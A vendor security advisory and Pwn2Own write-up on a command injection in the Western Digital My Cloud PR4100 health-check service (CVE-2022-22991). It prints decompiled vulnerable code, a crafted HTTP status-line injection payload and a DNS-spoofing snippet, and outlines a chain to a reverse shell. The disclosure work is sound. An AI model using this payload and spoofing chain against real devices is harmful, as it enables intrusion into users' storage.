Advisory: Western Digital My Cloud Pro Series PR4100 RCE
- It keeps our skills sharp and our Spidey-senses tingling to attempt exploitation every now and then.
- It helps us to better assess severity and impact of vulnerabilities identified in an automated manner.
- It’s fun 😊
Affected vendor & product | Western Digital MyCloud PR4100 (https://www.westerndigital.com/) |
Vendor Advisory | https://www.westerndigital.com/support/product-security/wdc-22002-my-cloud-os5-firmware-5-19-117 https://www.zerodayinitiative.com/advisories/ZDI-22-077/ |
Vulnerable version | MyCloud OS< 5.19.117 |
Fixed version | MyCloud OS 5.19.117 |
CVE IDs | CVE-2022-22991 |
Impact | 8.8 (high) AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Credit | Q. Kaiser, IoT Inspector Research Lab Martin Rakhmanov, Spider Labs |
Summary
On boot and then every 300 seconds, theConnectivityService
binary verifies a few things:
- whether it can reach the local
REST SDK
server - whether it can ping the local gateway
- whether it can reach the remote cloud service
The cloud service connectivity check looks similar to the C code below we rebuilt from Ghidra’s disassembly.
FILE* stream; FILE* stream_00; char content[0x100]; char cmd_buf[129]; char* cloud_api_url = "http://downloads.mycloud.com/healthcheck/index.html"; system("rm -rf /tmp/healthcheck ; mkdir /tmp/healthcheck"); system("cd /tmp/healthcheck ; wget -o /tmp/healthcheck/check.txt %s", cloud_api_url); // check if the request could be sent out by wget sprintf(cmd_buf,"cat %s/%s | grep \"%s\"","/tmp/healthcheck","check.txt", "HTTP request sent, awaiting response... "); stream = popen((char *)cmd_buf,"r"); if (stream != NULL) { success = fgets(content,0x100,stream); // the request could not be sent by wget if (success == NULL) { // we don't care because the output of wget is therefore non-controllable } else{ // inlined string length checks // check if response is 200 OK is_200_ok = strstr(content,"200 OK"); if (is_200_ok != (char *)0x0) { fclose(__stream); sprintf((char *)cmd_buf,"%s:HTTP-response:\"200 OK\"", "analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string"); system((char *)cmd_buf); sprintf(&DAT_00105200,"%s:HTTP-response:\"200 OK\"", "analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string"); return 1; } // call logging utility with the command 'analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string:content:"first 0x100 bytes of file" // SHOULD BE VULNERABLE sprintf(cmd_buf,"%s:HTTP-response:\"%s\"", "analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string", content); system(cmd_buf); } }This procedure executes the following: 1. It sends a GET request to a remote server using
wget
and saves the command output to /tmp/healthcheck/check.txt
.
2. It greps the file for 'HTTP request sent, awaiting response...
'
3. If there is a match, it checks whether the matched content contains '200 OK
' and calls analyticlog
There is a command injection vulnerability that can be triggered by injecting a malicious command in the HTTP status textual phrase. To reach the command injection, we must return an HTTP response with a status other than '200 OK
'.
This is what the exploit chain looks like: the ConnectivityService
client sends a GET request with wget
, we hijack the connection due to its plaintext nature and return the following response:
HTTP/1.0 200 `touch /tmp/pwn2own` Server: BaseHTTP/0.6 Python/3.8.10 Date: Thu, 02 Sep 2021 10:45:30 GMT
It will then execute the grep call and put the output in a buffer:
$ grep "HTTP request sent, awaiting response... " /tmp/healthcheck/check.txt HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`
This buffer is then used to execute the following command, leading to the execution of our injected command:
$ analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect \ string:HTTP-response:"HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`"
Exploitation Strategy
For the vulnerable code path to be taken, two conditions must be met:- the gateway must answer to ICMP echo-request packets sent by
ConnectivityService
- the staging server (
staging.mycloud.com
) must be unreachable
scapy
sniffers for ICMP and DNS traffic in their own dedicated threads. Whenever we observe an ICMP echo-request for the gateway, we craft an ICMP echo-reply and send it back to the device. Whenever we see DNS requests for staging.mycloud.com
, we do not answer. Whenever we see DNS requests for downloads.mycloud.com
, we craft a DNS answer holding the attacker's IP address.
This will force the ConnectivityService
binary to contact our malicious HTTP server that answers with a command injection payload, leading it into establishing a reverse shell to us (and some fancy LCD/LED things, it's pwn2own after all).
A PoC works on my machine, an exploit works on yours
Everything is great by the look of this advisory, so what went wrong with this entry at PWN2OWN? Well, let me warn you about hardcoding IP addresses in your exploit code:def fake_dns(iface, target_ip): spoof_domains = { "downloads.mycloud.com": "192.168.100.140", }For all of our other entries we had two separate devices and could cross-validate within the team that it indeed worked as expected. With this one, this mistake went unnoticed up until the first failed attempt. Wireshark was running in the background so I immediately knew what was wrong and I guided the ZDI engineer so we could fix it on the fly. Sadly the device did not send further DNS requests and we ultimately failed :)
Identifying High Value Targets
“How do you know where to look at?” is a question we get asked a lot, so we also want to take the opportunity to provide you with a glimpse inside the IoT Inspector Research Lab. Inspired by Zhijie Gui et. Al, “FIRMCORN: Vulnerability-Oriented Fuzzing of IoT Firmware via Optimized Virtual Execution”, one of the techniques we use to scour through large firmware images in search for vulnerable binaries and good candidates for further inspection is to classify them according to two indices:- a vulnerability index representing the amount of insecure function calls and ratio of memory instructions
- a complexity index representing code complexity from average cyclomatic complexity.
ConnectivityService
ranked in position 3:
python3 firmware_index.py --verbose /home/quentin/research/_WDMyCloudPR4100_5.16.105_prod.bin.extracted/squashfs-root # filename avg complexity avg vuln avg composite med composite 0 /python37/bin/python3.7 109.17 6.74 986.89 77.00 1 /wd/usr/sbin/hdVerify 60.30 4.88 654.07 74.00 2 /wd/usr/sbin/ConnectivityService 25.00 6.21 306.50 57.00
Key Takeaways
Breaking it down: two fundamental issues allowed us to exploit this vulnerability – supplying untrusted data with insufficient validation tosystem()
is always a recipe for disaster. Another easy mitigation that could have made the exploit almost impossible is the consistent usage of encrypted communication. Man-in-the-middling a TLS encrypted connection would have likely resulted in us giving up on the exploitation attempt 😉 By applying basic security principles, this vulnerability could have easily been prevented or rendered useless.
One ray of light: The described attack vector is not the typical infection vector chosen by ransomware campaigns – so we likely won’t see this bug being abused my malware authors anytime soon. Nevertheless, updates provided by the vendor should be applied in a timely manner – but that’s a non-news to close part one of our Pwn2Own exploitation series.
Timeline
2021-12-01 - Vulnerability reported to vendor 2022-01-17 - ZDI release advisory 2022-02-15 - Coordinated public release of IoT Inspector advisory
About Onekey
ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of an automated Product Cybersecurity & Compliance Platform (PCCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.
CONTACT:
Sara Fortmann
Marketing Manager
sara.fortmann@onekey.com
euromarcom public relations GmbH
+49 611 973 150
team@euromarcom.de
RELATED RESEARCH ARTICLES
Unblob 2024 Highlights: Sandboxing, Reporting, and Community Milestones
Explore the latest developments in Unblob, including enhanced sandboxing with Landlock, improved carving reporting, and χ² randomness analysis. Celebrate community contributions, academic research collaborations, and new format handlers, while looking forward to exciting updates in 2025.
Critical Vulnerabilities in EV Charging Stations: Analysis of eCharge Controllers
Discover how severe security flaws, including unauthenticated remote command execution (CVE-2024-11665 & CVE-2024-11666), affect eCharge EV charging controllers. Learn about insecure firmware practices, cloud infrastructure issues, and actionable steps to mitigate risks in EV charging systems.
Security Advisory: Unauthenticated Command Injection in Mitel IP Phones
Discover critical vulnerabilities in Mitel SIP phones that allow unauthenticated command injection. Learn how outdated input parsing can expose your devices and why it's essential to scan firmware for security risks. Protect your network with our in-depth analysis and expert takeaways.
Ready to automate your Product Cybersecurity & Compliance?
Make cybersecurity and compliance efficient and effective with ONEKEY.